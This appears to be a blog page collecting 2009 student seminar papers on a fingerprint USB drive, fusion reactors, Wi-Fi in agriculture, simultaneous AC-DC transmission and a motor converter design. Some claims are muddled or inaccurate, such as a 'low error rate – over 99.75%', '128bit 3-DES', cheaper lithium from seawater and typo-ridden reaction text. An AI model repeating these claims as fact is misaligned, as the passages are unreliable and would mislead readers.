Most internet users store the bookmarks in their systems and it is very hard to recall the bookmarks when using different systems. Bookmark Memory saves users from lowering work efficiency and time wasting on any systems. You can store your favorites URLs, importing and exporting from/to Internet Explorer.

FBiSureID
FBiSureID is designed to prevent online fraud by ensuring that a user can be truly authenticated by an application. Using the FBiDrive’s proven biometric authentication, FBiSureID ensures that application access is only provided to users who can provide a valid biometric ID.
• FBiSureID Registration
User registration using FBiSureID was designed to be easy for users, and similar enough to Username/Password processing so that developers could add it to an existing application without much coding or database work
• FBiSureID Authentication
The authentication process using FBiSureID is designed to be easer for the user while being more secure. The user clicks on a web site listing in the FBiDrive -459 software ID/Password section and provides a fingerprint.
Address Book
A personal contact list organizer. Address Book is compatible with Outlook and Outlook Express files. Address Book data can be organized by groups.‘CVS’ format files can be exported to a system or imported from a system. Fingerprinting will be required when using Address Book data because of the security matter.
Email
• Managing multi email accounts and sending emails directly from Address Book email address list.
• Email management– receiving, sending,organizing,etc.–activities are required fingerprinting
• Fingerprinting is required when searching emails.

Safe Box (Data Encryption Technology)
User can encrypt and decrypt files to secure data with fingerprint authentication feature. Secured storage, user locks and unlocks files/folders with fingerprint. Drag and drop function supported. It cannot be opened when data is copied to other location.

HARDWARE SPECIFICATION TABLE:
• Interface Universal Serial Bus (USB) V2.0
• Supported OS Windows 2000, Windows XP
• Disk Part
• Disk Type (Using NAND Flash Memory) 128MB, 256MB, 512MB
• 1GB, 2GB available
• Disk Read Transfer > 5MB / second
• Disk Write Transfer > 4MB / second
• Erase Cycle 1,000,000 times
• Fingerprint Part
• Fingerprint Capture 13.3 frames/second
• Image density 250-1000dpi (selectable)
• Fingerprint Detection Matrix 128*128 pixels
• Fingerprint Scratch and stress-tested to 41,000 psi
• Impact resistant
• Power Supply USB Powered (no external power required)
• Power Consumption < 110mA (under operating)
• USB Suspend < 1mA
• LED Connected : Green

ACTIVE :BLINKING
• Operating Temperature 0_ to 45_
• Storage Temperature -10_ to 70_
• Relative Humidity 20% ~ 80%
• under operating
• Relative Humidity 5% ~ 95%
• under storage
• Insertion >5,000 cycle
• Data Retention Time 10 years
• Noise 0 dB

FINGERPRINT AUTHENTICATION SENSOR:
 Unlike optical type fingerprint sensor, a silicon type Authentec fingerprint sensor detects live fingers and allows 15 degrees of rotation each direction. It has fast detection time and low error rate – over 99.75%.
 AES3400 Fingerprint Sensor chip
 USB interface , synchronous and asynchronous serial interface and VID/PID bus.
 (128 pixels)X(128 pixels) more accurate
 Data control ,sensor control, dynamic optimization control and I/O control

FLASH MEMORY STORAGE:

The importance of the storage devices is greater as computer technology develops rapidly floppy disks and CD’s are still most popular form of storage devices. FBiDrive brought innovational large-sized built in flash memory storage to upgrade the digital activity.

DATA ENCRYPTION:
 Creating different ‘encryption key’ for each user and encrypt the user information and data files. File and user information will be decrypted only after user fingerprint authentication.
 128bit 3-DES Algorithm used .

HOW DOES IT SENSE ?
AuthenTec developed a unique semiconductor-based fingerprint reader that uses small RF signals to detect the fingerprint ridge and valley pattern. The RF electronic imaging mechanism called (TruePrint technology ) works by reading the fingerprint pattern from the live, highly-conductive layer of skin that lies just beneath the skin's dry outer surface layer. AuthenTec's TruePrint-based sensors are less affected by common skin surface conditions -- including dry, worn, calloused, dirty or oily skin -- that can impair the ability of other sensors to acquire accurate fingerprint images. That makes TruePrint sensor technology capable of acquiring everyone's fingerprint under virtually any condition.

FINGERPRINT SENSOR IN NETWORK:
Lets now consider the case in network LAN connection. Here The fingerprint scanner that scans the fingerprint of the user records the particular user’s print . Whenever the user wants to access the PC , it scans the image of the print and matches with already recorded image . If suppose any unauthorized user try to access the PC , the scanned image will not match the recorded image and shows an error. The given figure explains the above.
ADVANTAGES:
 Extremely reliable - capable of reading virtually every fingerprint under virtually any condition. Unlike surface based technologies, TruePrint is not affected by grimy, oily or scarred fingers because it reads below the outer surface to the live layer below.
 Highly accurate and secure - AuthenTec's unique pattern-based matching technique, combined with TruePrint's high-quality images, enables the company to continuously develop smaller sensors, without sacrificing the highest level of security or ease of use.
 Very durable -- TruePrint's high accuracy enables AuthenTec to use thicker protective coating than surface based sensors, making them very durable for the PC and other markets. AuthenTec sensors are durability tested to greater than 10 million swipes -- the highest in the industry.

APPLICATIONS:

• Time attendance and access control for offices
• Integrated payroll and HR management of employees
• Networked security for IBS buildings, financial and research institutes
• Data collection for customer reward management

CONCLUSION:
Thus the fingerprint technology has been proved to be one of the efficient methods for securing PC ‘s and other peripherals in an organization. The FBiDrive mention above is implemented on the AUTHENTEC’s trueprint and it has been found to be one of the best methods in efficiency and effectiveness.
The feature of FBiDrive makes it affordable in all types of security application.

RECENT TRENDS IN POWER SYSTEMS ARTIFICIAL SUN

2009-12-28T23:33:00.000-08:00

ABSTRACT

The current power consumption in different parts of the world and an estimate of the future energy needs of the world are given. The present energy supplies and prospects, the possible consequences of a continued massive fossil fuel consumption, and the potential of non-fossil candidates for long-term energy production are outlined. An introduction to possible fusion processes in future fusion reactors is given. The inexhaustibility, safety, environmental and economic aspects of magnetic fusion energy are discussed. Mankind is confronted with a continually rising world energy demand, which is a vital and precarious issue.

Our energy future depends on a number of uncertainties of technological, environmental and political nature. Most of our energy is currently produced by burning fossil fuels. Negative side effects for the environment or depletion of fossil resources might force us in the future to switch to alternative energy sources. The number of conceivable non-fossil candidates which in the long-term could substantially contribute to energy production is very limited : renewables, nuclear fission (breeders) and nuclear fusion. Fusion is the least developed of the three, but has particularly valuable environmental and safety advantages and disposes of virtually inexhaustible resources.

What is artificial sun?
Artificial sun is a power generating thermo-nuclear fusion reactor. Artificial sun is nothing but, the world's first complete Experimental Advanced Superconducting Tokomak (EAST) nuclear fusion device.
Nuclear fusion:
Fusion is a process in which two or more lighter nuclei combine to form heavier nucleus. The mass of single nucleus formed is less than that of the initial mass. The mass is converted into energy. This energy is calculated by Einstein ever green equation,
E=mc2
The possible reactions of hydrogen isotopes were as follows:
REASON FOR SELECTING D-T:
The number of nuclear reactions per second in a D-T reaction is several times greater than in any other gas mixtures. D- T reaction is the fastest thermo-nuclear process known and produces 80% of its energy in the form of 14.1 MeV neutrons which simply escape from the plasma region. Thus the reaction probability of D-T is high when compared to any other gas mixtures.

WORKING OF THERMONUCLEAR FUSION REACTION:
Since it’s a nuclear fusion reactor the basic lies in the fusion reaction. If two light nuclei fuse, they will generally form a single nucleus with a slightly smaller mass than the sum of their original masses. If the input atoms are sufficiently massive, the resulting fusion product will be heavier than the reactants, in which case the reaction requires an external source of energy. The dividing line between "light" and “heavy” is iron

Fusion between the atoms is opposed by their shared electrical charge, specifically the net positive charge of the nuclei. In order to overcome this electrostatic force, or "coulomb’s carrier", some external source of energy must be supplied. The easiest way to do this is to heat the atoms, which has the side effect of stripping the electrons from the atoms and leaving them as bare nuclei. In most experiments the nuclei and electrons are left in a fluid known as a plasma. The neutron flux expected in a commercial D-T fusion reactor is about 100 times that of current fission power reactors, posing problems for material design. Design of suitable materials is underway but their actual use in a reactor is not proposed until the generation after ITER.
If nuclear fusion becomes a practical source of energy, it will undoubtedly be first by way of the D-T reaction. At a later stage, however, fusion involving deuterium nuclei only, which is more difficult to attain, may become important. The net result is the liberation of 66 million kW-hr of energy per kilogram of deuterium. The great advantage of D-D fusion would be that it would not be necessary to supply tritium from an outside source. Such tritium as is involved is produced in one of the D-D reactions. However, it is unlikely that the conditions for D-D fusion on a practical scale will be realized for many years. Con.5equently, the following discussion will refer primarily to D-T fusion.
The basic raw materials for the D-T reaction are water for deuterium and lithium minerals (for tritium). All natural waters contain a small proportion of HDO molecules in which deuterium (D) has replaced one hydrogen (H) atom in ordinary water (H2O). Although there is only one deuterium atom for every 6500 ordinary hydrogen atoms, the amount of water is so large that more than 10 trillion (i.e. 1013) tons of deuterium are present on earth. Deuterium in the form of heavy water (D2O), is extracted from water on a large scale at a moderate cost in U.S. and Canada. Its main use at present is in certain fission reactors Tritium is made by reaction of neutrons with nuclei of the element lithium, especially of its lighter isotope lithium-6. The required neutrons are produced in the D-r reaction, as seen above and lithium can be obtained from certain minerals and natural brines. If it should become necessary, this element could be extracted from seawater although at a lower cost. Because tritium is radioactive, decaying with a half-life of 12.3 years, it cannot be stockpiled for any length of time.

In addition to produce the poloidal field, the induce currents initiate plasma formation from the gases in the torus and increase the temperature by ohmic heating. The attainable temperature is limited by the development of large-scale instabilities to about 20 million °C. Neutral-beam injection is favoured for further heating, but radio frequency heating is also being considered. The essential requirements are the attainment of a temperature of about 100 million °C in a D-T plasma and a confinement parameter n exceeding the 3 x 1014 sec/cm3 necessary for energy break-even and ignition. If these conditions can be realized, a fusion reactor can be operated.

PLASMA HEATING:
Deuterium ions are generated from deuterium gas by an electrical discharge in an ion source; the ions are then accelerated by a high voltage (e.g. more than 100,000 volts). The accelerated, high-energy deuterium ions pass through a chamber containing neutral deuterium gas; here electrons transfer from low energy deuterium (Do) atoms to high-energy ions (D+) with the resulting formation of low-energy deuterium ions and high-energy atoms; thus,

Do (low energy) + D+ (high energy) D+ (low energy)
  + Do (high energy)
electron

The low-energy D+ ions are diverted and removed by a subsidiary magnetic field, while the high-energy Do atoms are injected into magnetically confined plasma. In the plasma, electrons are rapidly removed from the atoms to form high-energy ions which are trapped by the magnetic field and can not escape. The high-energy ions then transfer part of their energy to the plasma particles in repeated collisions, thereby increasing the plasma temperature. An ion temperature of 75 million °C was reached in a deuterium plasma in 1978 by neutral beam injection, and it is expected that temperatures of 100 million °C will be attainable.

MAGNETIC FIELDS:
An electric current is always associated with a magnetic field such that the field lines (or lines of force) are perpendicular to the direction of current flow. The gases (e.g., deuterium and tritium) required for fusion are often contained in a hollow, doughnut-shaped chamber called a torus. Magnetic fields can be generated within a torus in two general ways.
In one case, an electric current is passed through a number of rings (or coils) surrounding the torus. The associated magnetic field, called a toroidal field, has its lines of force running around the long way of the torus. Alternatively, the current may be made to flow through the plasma tie lines of the resulting magnetic field, called a poloidal field, encircle the plasma in the polar (shorter) direction. (Incidentally, whenever plasma is heated by passing a current through it, as described above, a poloidal field is produced).

Advantages:

 High power generation.
 Abundant fuel supply.
 Safe.
 Eco-friendly.
 Less nuclear waste.
 Reliable source.

Conclusion:
In a most profound sense, mankind's quality of life depends on an acceptable response to the continually rising demand for energy. To be able to satisfy our future energy needs , we therefore have to invest in all viable energy options , compatible with our environment .Fusion is one of these options and is characterized by exclusive properties, some of which represent distinct advantages over the other major energy sources. They can be grouped around three aspects :
• Fuel: abundant supply of cheap fuels (D and Li);
They are non-radioactive, and their extraction does not cause any significant ecological problem.
• Safety: fusion reactors offer inherent, passive safety. They are not based on a neutron multiplication reaction and do not contain a large supply of fuel in their core. An uncontrolled burn of the Chernobyl type is excluded.

WIFI AND ITS USAGE IN AGRICULTURE

2009-12-28T23:29:00.000-08:00

KEYWORDS:
ETHERNET, INTERNET, NETWORK, OFDM, WAP, LAN, VIRTUAL, HERD, COLLAR, SENSOR, ROUTER, PACKETS

1 INTRODUCTION
Wifi(Wireless Fidelity) is a brand originally licensed by the Wi-Fi Alliance to describe the underlying technology of wireless local area networks(WLAN).A person with a Wi-Fi device, such as a computer, telephone, or personal digital assistant (PDA) can connect to the Internet when in proximity of an access point. The region covered by one or several access points is called a hotspot.
Hotspots can range from a single room to many square miles of overlapping hotspots. Wi-Fi connects to the net at broadband speeds without cables. Wi-Fi uses both single carrier direct-sequence spread spectrum radio technology, part of the larger family of spread spectrum systems and multi-carrier OFDM (Orthogonal Frequency Division Multiplexing) radio technology.

2 VIRTUAL FENCING

VIRTUAL FENCING to herd cattle can also be implemented using Wi-Fi. A farmer would control multiple herds from a single server at home. The technique is that the collar of the cattle could be fitted with software that transmits the chosen GPS co-ordinates. Each collar is equipped with a Wi-Fi networking card that transmits the details when the cattle stray within the particular area. The collar could have extra sensors, to monitor the cows' health and send the data back to the central server.
A wireless router connects a group of Wi-Fi-enabled devices (i.e. PDAs, laptops, etc.) to an adjacent wired network (such as a cable modem or DSL modem). A wireless router is a wireless access point combined with an ethernet hub.This router finally enables the details to reach the specified person. The modernisation of agriculture with Wi-fi provides a faster access of information admists the farmers and ensures a luxury in agriculture.

3 HOW DOES WIFI WORKS?
We know that wireless network uses radio waves. A computer's wireless adapter translates data into a radio signal and transmits it using an antenna. A wireless router receives the signal and decodes it. It sends the information to the Internet using a physical, wired Ethernet connection. The process also works in reverse, with the router receiving information from the Internet, translating it into a radio signal and sending it to the computer's wireless adapter.
To connect users with the Internet, Wi-Fi devices use low-power transmitters and receivers equipped with special computer chips containing radio modems. The chips can be installed in laptop computers, personal digital assistants (PDAs), and cellular telephones.Radio modems modulate and demodulate signals to mimic digital bitstreams, the same format used by computers. Wi-Fi-equipped computers, cell phones, and PDAs provide mobile, wireless access to e-mail and Internet sites.

FIGURE DETAILS:
• Wi-Fi uses antennas around which Wi-Fi "hotspots" are created.
• The source internet connection is provided by a PC or server to which the antennas are connected either wirelessly or via a cable.
• Mobiles with Wi-Fi enabling chips.
• Many laptops and handheld computers now come with built-in Wi-Fi connectivity. One wireless router can allow multiple devices to connect to the Internet.
The radio modems must be in range of a Wi-Fi device containing a transmitter and receiver that is connected to a landline providing Internet access.. the range of distance covered by a hotspot is of about 90 m (300 ft). Many transmitters, however, can be linked to cover a wider area, such as an airport or hotel.Current Wi-Fi standards enable data to be sent at high speeds ranging from 11 to 54 megabits per second (broadband connection -because a vast amount of data can be sent quickly.)
The typical Wi-Fi setup contains one or more Access Points (APs) and one or more clients. An AP broadcasts its SSID (Service Set Identifier, "Network name") via packets called beacons, which are broadcast every 100 ms .If two APs of the same SSID are in range of the client, the firmware may decide based on signal strength to which of the two APs it will connect. The Wi-Fi standard leaves connection criteria and roaming totally open to the client. This is a strength of Wi-Fi, but also means that one wireless adapter may perform substantially better than the other.

3.1 WIRELESS ACCESS POINT (WAP)
A wireless transmitter is sometimes known as a Wireless Access Point (WAP), which is a small box that plugs into computer and has one or two short antennas.A wireless access point (AP) connects a group of wireless stations to an adjacent wired local area network (LAN). An access point is similar to an ethernet hub, but instead of relaying LAN data only to other LAN stations, an access point can relay wireless data to all other compatible wireless devices as well as LAN stations connected by wire.
3.2 WIRELESS ROUTER
A wireless router connects a group of Wi-Fi-enabled devices (i.e. PDAs, laptops, etc.) to an adjacent wired network (such as a cable modem or DSL modem). A wireless router is a wireless access point combined with an ethernet hub. A wireless router forwards IP packets between wireless subnet and any other subnet. A wireless ethernet bridge connects two separate networks
3.3 RANGE EXTENDER
A wireless range extender can increase the range of an existing wireless network by being strategically placed in locations where the wireless router or access point signal is degraded or out of range.
The sensor net means the growers know much more about the health of their crops and can apply water or chemicals only when the plants really need them. “Accenture” working on the project, said wireless was a natural choice for the crop growers. Each of the sensors placed around the yard has onboard monitors for several conditions known to be key influences on crop health.

Crops that produce good yield cost a premium so getting the right conditions for good growth can mean the difference between profit and loss for small crop yards. When a sensor post has gathered data, it travels back to a central server by hopping from one Wi-Fi access point to another. We can get data from 30 acres back to home base without having to run cables and without having to have radio transmitters that are powerful enough to make the leap from one end of the field to the other.

4 IMPLEMENTATION DETAILS
Step1: Choose the area for implementation.
Step2: Place the sensors at an interval of 90-100 meters from each.
Step3: Gather the information with the wireless access point (WAP).
Step4: Using WAP the information is fed into SERVER
Step5: The details are accessed accordingly.
5 PROBELMS AND SUGGESTIONS FOR INDIA
5.1 IS WIFI IN AGRICULTURE ECONOMICAL?
Yes. Although the initial construction work is bit costlier, the working charges are very less. Moreover the quality of the products and the amount is very high which in turn increases the amount of items to be exported, which literally means a growth in INDIAN ECONOMY.
5.2 CAN WIFI BE IMPLEMENTED IN THE REMOTE INDIAN FIELDS?
Yes, Wi-Fi suits these fields to the fullest because there is no signal interruption and we get full access to it. So this technology can very easily be implemented in our lands.
5.3 DO WE NEED HIGH QUALITY EXPERTS TO IMPLEMENT THESE TECHNOLOGIES?
No. The technology is easily understandable, and can be easily established and operate upon.
6 WIFI TO HERD CATTLES
6.1 VIRTUAL FENCES TO HERD CATTLES
Virtual, moving fences controlled from a laptop could one day herd cattle to fresh fields for grazing. A farmer would control multiple herds from a single server at home as if they were playing a video game. Software that transmits the chosen GPS co-ordinates of a virtual fence to head-collars worn by the cows in the field. When a cow strays towards these co-ordinates, software running on the collar triggers a stimulus chosen to scare the cow away, such as a sound or a small electric shock - this is the "virtual" fence. The software also "herds" the cows when the position of the virtual fence is moved. The figure of collar used is shown below:

ROARING TIGER
The warning that can be used is of a library of sounds intended to scare a cow, including roaring tigers, barking dogs and hissing snakes. The group's tests showed that while these sounds slow the cattle down .In future, the collar could even be equipped with additional sensors, perhaps to monitor the cow’s health and radio data back to the central server. Ways stop them crossing the virtual fence.
7MERITS OF WIFI
• Allows LANs to be deployed without cabling, typically reducing the costs of network deployment and expansion. Spaces where cables cannot be run, such as outdoor areas and historical buildings, can host wireless LANs.
• Wi-Fi silicon pricing continues to come down, making Wi-Fi a very economical networking option and driving inclusion of Wi-Fi in an ever-widening array of devices.
• Wi-Fi products are widely available in the market. Different brands of access points and client network interfaces are interoperable at a basic level of service.
• Wi-Fi networks support roaming, in which a mobile client station such as a laptop computer can move from one access point to another as the user moves around a building or area.
• Wi-Fi is a global set of standards. Unlike cellular carriers, the same Wi-Fi client works in different countries around the world.
7.1IN AGRICULTURE
• Can be worked easily
• Not of great cost
• A single server can connect a whole lot of area, hence the head can have the overall look of his landworks by just sitting with a laptop
• Thousands of cattles can be herd by a single person
• Mordernisation ann simplification of agriculture

8 CONCLUSION
Thus technology’s innovation could bring great prospects and less strain to even the weaker section of the society.“strike the fields with wi-fi and reap the sweetest fruits of wi-fi technology in agriculture and bring back the agricultural fruits of our country”

Simultaneous ac-dc Power Transmission

2009-12-28T23:26:00.000-08:00

Abstract

The advantages of parallel ac-dc power transmission for the improvement of transient and dynamic stability and to damp out oscillations have been established. Present paper proposes a simultaneous ac-dc power flow scheme through the same transmission line to get the advantage of parallel ac-dc transmission to improve stability and damping oscillations as well as to control the voltage profile of the line by controlling the total reactive power flow. Only the basic idea is proposed along with the feasibility study using elementary laboratory model. The main object is to emphasize the possibility of simultaneous ac-dc transmission with its inherent advantage of power flow control.

INTRODUCTION

HVDC transmission lines in parallel with EHV ac lines are recommended to improve transient and dynamic stability as well as to damp out oscillations in power system .Long EHV ac lines can not be loaded to its thermal limit to keep sufficient margin against transient instability. But for optimum use of transmission lines there is a need to load EHV ac lines close to their thermal limits by using flexible ac transmission system (FACTS) components. very fast control of SCRs in FACTS devices like static VAR system (SVS),controlled series capacitor (CSC), static phase shifter (SPS) and controlled braking resistors improves stability and damps out oscillations in power system.
EHV ac line may be loaded to a very high value if the conductors are allowed to carry superimposed dc current along with ac current. The added dc power flow does not cause any transient instability.
This paper presents a simple scheme of simultaneous EHV ac-dc power flow through the same transmission line with an object to achieve the advantages of parallel ac-dc transmission. simultaneous ac-dc transmission may also claim advantages in some specific applications in LV (low voltage) and MV (medium voltage) system.

The circuit diagram in Figure 1 shows the basic scheme for simultaneous ac-dc transmission. The dc power is obtained through the rectifier bridge and injected to the neutral point of the zigzag connected secondary of sending end transformer, and again it is reconverted to ac by the inverter bridge at the receiving end. The inverter bridge is again connected to the neutral of zigzag connected winding of the receiving end transformer. Star connected primary windings in place of delta connected windings for the transformers may also be used for higher supply voltage. The single circuit transmission line carries both 3-phase ac and dc power. It is to be noted that a part of the total ac power at the sending end is converted into dc by the tertiary winding of the transformer connected to rectifier bridge. The same dc power is reconverted to ac at the receiving end by the tertiary winding of the receiving end transformer connected to the inverter bridge. Eaach conductor of the line carries one third of the total dc current alongwith ac current Ia. The return path of the dc current is through the ground. Zigzag connected winding is used at both ends to avoid saturation of transformer due to dc current flow. A high value of reactor Xd is used to reduce harmonics in dc current.

In the absence of zero sequence and third harmonics or its multiple harmonic voltages, under normal operating conditions, the ac current flow will be restricted between the zigzag connected windings and the three conductors of the transmission line. Even the presence of these components of voltages may only be able to produce negligible current through the ground due to high value of Xd.
Assuming the usual constant current control of rectifier and constant extinction angle control of inverter1,8, the equivalent circuit of the scheme under normal steady state operating condition is shown in Figure 2. The dotted line in the figure shows the path of ac return current only. The ground carries the full dc current Id only and each conductor of the line carries Id/3 along with the ac current per phase

Neglecting the resistive drops in the line conductors and transformer windings due to dc current, expressions for ac voltage and current, and for active and reactive powers may be written in terms of A,B,C,D parameters of the line as:
Es = AER + BIR
Is = CER + DIR
Ps + jQs = -(EsER* )/B* + D*/B* x Es 2
PR + jQR = (EREs* )/B* - A*/B* x ER 2
Neglecting ac resistive drops in the line and transformer, the dc current and dc power may be expressed as:
Id = (Vdr cos α - Vdi cosγ) / (Rcr + R/3 – Rci)
Pdi = Vdi x Id
Pdr = Vdr x Id
where R is the line resistance per conductor, Rcr and Rci’ commutating resistance, α and γ, firing and extinction angles of rectifier and inverter respectively and values of Vdr and Vdi are the maximum dc voltages of rectifier and inverter side respectively. Values of Vdr and Vvdi are 1.35 times line to line tertiary winding voltages of respective sides.
Reactive powers required by the converters are:
Qdi = Pdi tan θi
Qdr = Pdr tan θr
cosθi = ½ [cosγ + cos(γ + μi) ]
cosθr = ½ [cosγ + cos(γ + μr) ]
μi and μr are commutation angles of inverter and rectifier respectively and total active and reactive powers the two ends
Pst = Ps + Pdr and Prt = PR + Pdi
Qst = Qs + Qdr and Qrt = QR + Qdi
Total transmission line loss is:
PL = (Ps + Pdr) – (PR + Pdi)
Ia being the rms ac current per conductor at any point of the line, the total rms current per conductor becomes:
I = √ (I2a + (Id/3)2 ) and PL ≅ 3I2R
If the rated conductor current corresponding to its allowable temperature rise is
Itb and Ia = x × Ith ; x being less than unity, the dc current becomes:
Id = 3 x √(1-x2) Ith
The total current I in any conductor is asymmetrical but two natural zero-crossings in each cycle in current wave are obtained for (Id/3Ia) < √2.
The instantaneous value of each conductor voltage with respect to ground becomes the dc voltage Vd with a superimposed sinusoidally varying ac voltage having rms value Eph and the peak value being:
Emax =Vd+√2 Eph
Electric field produced by any conductor voltage possesses a dc component superimposed with sinusoidally varying ac component. But the instantaneous electric field polarity changes its sign twice in cycle if (Vd/Eph ) <√2. Therefore, higher creepage distance requirement for insulator discs used for HVDC lines are not required.
Each conductor is to be insulated for Emax but the line to line voltage has no dc component and ELL(max) =√6 Eph. Therefore, conductor separation distance is determined only by rated ac voltage of the line.
Assuming Vd/Eph =k
Pdc/Pac ≅ (Vd Id )/(3EphIa cosθ) = k(√1-x2 )/(x cosθ)
Totalpower
Pt=Pdc+Pac =[1+k√(1-x2 )/(x cosθ)] Pac
Detailed analysis of short circuit current and design of protective scheme, filter and instrumentation network required for the proposed scheme is beyond the scope of present work, but preliminary qualitative.
Analysis presented below suggests that commonly used techniques in HVDC/ac system may be adopted for this purpose. In case of a fault in the transmission system, gate signals to all the SCRs are blocked and that to the bypass SCRs are released to protect rectifier and inverter bridges CBs are then tripped at both ends to isolate system. As mentioned earlier, if(Id3Ia)<√2, CBs connected at the two ends of transmission line interrupt current at natural current zeroes and no special dc CB is required. To ensure proper operation of transmission line CBs, tripping signals to these CBs may only be given after sensing the zero crossing of current by zero crossing detectors. Else CBs connected to the delta side of transformers (not shown In Figure 1) may be used to isolate the fault. Saturation of transformer core, if any, due to asymmetric fault current reduces line side current but increases primary current of transformer. Delta side CBs, designed to clear transformer terminal faults and winding f faults, clear these faults easily.
Proper values of ac and dc filters as used in HVDC system may be connected to the delta side and zigzag neutral respectively to filter out higher harmonics from dc and ac supplies. However, filters may be omitted for low values of Vd and Id.
At neutral terminals of zigzag neutral winding dc current and voltages may be measured by adopting common methods used in HVDC system. Conventional cvts as used in EHV ac lines are used to measure ac component of transmission line voltage. Superimposed dc voltage in the transmission line does not affect the working of cvts. Linear couplers with high air-gap core may be employed for measurement of ac component of line current as dc component of line current is not able to saturate high air- gap cores.
Electric signal processing circuits may be used to generate composite line voltage and current waveforms from the signals obtained for dc and ac components of voltage and current. Those signals are used for protection and control purposes.

EXPERIMENTAL VERIFICATION
The feasibility of the basic scheme of simultaneous ac-dc transmission was verified in the laboratory. Transformer having a rating of 2 kVA, 400/230/110Vwas used at each end. A supply of 3-phase, 400V, 50 Hz was given at the sending end and 3-phase,400 V, 50Hz,1HP induction motor in addition to a 3-phase,400V,0.7 kW resistive load was connected at the receiving end. A 10A,110V dc reactor (Xd) was used at each end with the 230 V zigzag connected neutral. Two identical SCR bridges were used for rectifier and inverter. The dc voltages of rectifier and inverter bridges were adjusted between 145V to135 V to vary dc current between 0 to 3A.
The same experiment was repeated by replacing the rectifier at the sending end and the inverter at receiving end by a 24 V battery and a 5 A, 25Ω rheostat respectively, between Xd and ground.
The power transmission with and without dc component was found to be satisfactory in all the cases.
To check the saturation of zigzag connected transformer for high value of Id, ac loads were disconnected and dc current was increased to 1.2 times the rated current for a short time with the input transformer kept energized from 400 V ac. But no change in exciting current and terminal voltage of transformer were noticed verifying no saturation even with high value of Id.

PROPOSED APPLICATIONS
Long EHV ac lines can not be loaded to their thermal limit to keep sufficient margin against transient instability and to keep voltage regulation within allowable limit. The simultaneous power flow does not impose any extra burden on stability of the system, rather it improves the stability. The resistive drop due to dc current being very small in comparison to impedance drop due to ac current, there is also no appreciable change in voltage regulation due to superimposed dc current.

Therefore one possible application of simultaneous ac-dc transmission is to load the line close to its thermal limit by transmitting additional dc power. Figure 3 shows the variation of Pt/Pac for changing values of k and x at unity power factor. However, it is to be noted that additional conductor insulation is to be provided due to insertion of dc.
Necessity of additional dc power transmission will be experienced maximum during peak load period which is characterized with lower than rated voltage. If dc power is injected during the peak loading period only with Vd being in the range of 5% to 10% of Eph, the same transmission line without having any enhanced insulation level may be allowed to be used.
For a value of x =0.7 and Vd =0.05 Eph or 0.10 Eph, 5.1% or 10.2% more power may be transmitted.
By adding a few more discs in insulator strings of each phase conductor with appropriate modifications in cross-arms of towers insulation level between phase to ground may be increased to a high value, which permits proportional increase in Emax. Therefore higher value of Vd may be used to increase dc and total power flow through the line. This modification in the existing ac line is justified due to high cost of separate HVDC line.
With the very fast electronic control of firing angle(α) and extinction angle(γ) of the converters, the fast control of dc power may also be used to improve dynamic stability and damping out oscillations in system similar to that of ac-dc parallel transmission lines.
Control of α and γ also controls the rectifier and inverter VAR requirement (refer equations 5 and 8) and therefore, may be used to control the voltage profile of the transmission line during low load condition and works as inductive shunt compensation. It may also be considered that the capacitive VAR of the transmission line is supplying the whole or part of the inductive VAR requirement of the converter system. In pure HDVC system capacitance of transmission system capacitance line can not be utilized to compensate inductive VAR.
The independent and fast control of active and reactive power associated with dc, superimposed with the normal ac active and reactive power, may be considered to be working as another component of FACTS.
Simultaneous ac-dc power transmission may find its application in some special cases of LV and MV distribution system.
When 3-phase power in addition to dc power is supplied to a location very near to a furnace or to a workplace having very high ambient temperature, rectification of 3-phase supply is not possible at that location using semi-conductor rectifier. In such place simultaneous ac-dc transmission is advantageous.
In aircraft 3-phase loads are generally fed with higher frequency supply of about 400Hz and separate line is used for dc loads. Skin effect restricts the optimum use of distribution wires at high frequency. Simultaneous ac-dc power transmission reduces both volume and weight of distributors.

Another possible application is the transmission of dc power generated by PV solar cells directly to remote dc loads through 3-phase ac line.
In all cases of separate dc supply filter networks are not required.
The rigorous treatment of insulation requirements, design of transformer, dynamic stability improvement and damping of oscillations is beyond the scope of the present work. The possibility of multi-terminal transmission of ac-dc power flow has not been explored and the scheme is restricted to point to point transmission.

Conclusion:

A simple scheme of simultaneous EHV ac-dc power transmission through the same transmission line has been presented. Expression of active and reactive powers associated with ac and dc, conductor voltage level and total power have been obtained for steady-state normal operating condition. The feasibility of the scheme has been verified experimentally in the laboratory. The possible applications of the proposed scheme may be listed as loading the line close to its thermal limit, improvement of transient and dynamic stability and damping of oscillations. In LV and MV distribution system the proposed scheme may be applied in a workplace having high ambient temperature of fed with high frequency supply or with PV solar cells. Only the basic scheme has been presented with qualitative assessment for its implementation. Details of practical adaptation are beyond the scope of the present work.

A NEW CONVERTER TOPOLOGY FOR SWITCHED RELUCTANCE MOTOR DRIVE

2009-12-28T23:24:00.000-08:00

ABSTRACT

A new converter topology is proposed for driving a Switched Reluctance Motor with unipolar currents. It consists of a front-end Single-Ended Primary Inductance Converter (SEPIC) and a switch in series with each motor phase. For low power applications the converter is designed to operate in discontinuous conduction mode and in high power levels the converter operates in continuous conduction mode. The converter can be controlled to operate at high power factor with an AC supply. Those drives which were used earlier do not include any in build power factor corrections. The simplicity and reduced parts count of the proposed topology make it an attractive low-cost choice for many variable speed drive applications.

INTRODUCTION

The Switched Reluctance (SR) motor has been shown to be highly efficient, reliable, robust, easy to manufacture and inexpensive and can compete with the conventional brushed dc motor, induction motor and the permanent magnet motor in a variety of applications. Unipolar excitation allows the use of cheaper and more robust converters than conventional inverter drives. However, the primary cost of the SR drive is still the power electronic converter, and cost reduction of the converter is crucial to the application of SR motors in variable speed drives. A large number of circuits have been proposed in the literature for the unipolar excitation of SR motors. Among these, the maximum control flexibility is offered by those with two controlled switches per phase such as the one shown in Fig. 1. A number of (n+1) switch topologies have also been proposed, such as the C-dump converter shown in Fig. 2. The converter topology proposed in this paper also uses (n+1) witches, and has some advantages over the existing topologies.

For applications requiring operation from the utility supply, it is important to design the equipment to satisfy harmonics standards. These standards are typically not satisfied by the conventional method of AC/DC conversion using a bridge rectifier followed by a large dc bus capacitor. Passive Power Factor Correction (PFC) circuits based on the use of reactive elements are impractical in 50-60Hz single-phase lines because of size, weight and cost. Active PFC methods are becoming increasingly popular because of the availability of low-cost switches. They consist of a dc-dc converter between the diode bridge and the bulk capacitor, which is controlled such that the input current is shaped to follow the input voltage. For low power levels, the extra cost and complexity of the additional PFC stage is not justified by the improvement in power factor. The efficiency of the drive also decreases with the addition of the PFC stage. Relatively few papers have reported attempts to improve the power factor of SR drives. A topology consisting of a pair of boost-buck converters and a machine converter to obtain unity power factor was proposed. A two-phase SR motor drive with active input current shaping was proposed.
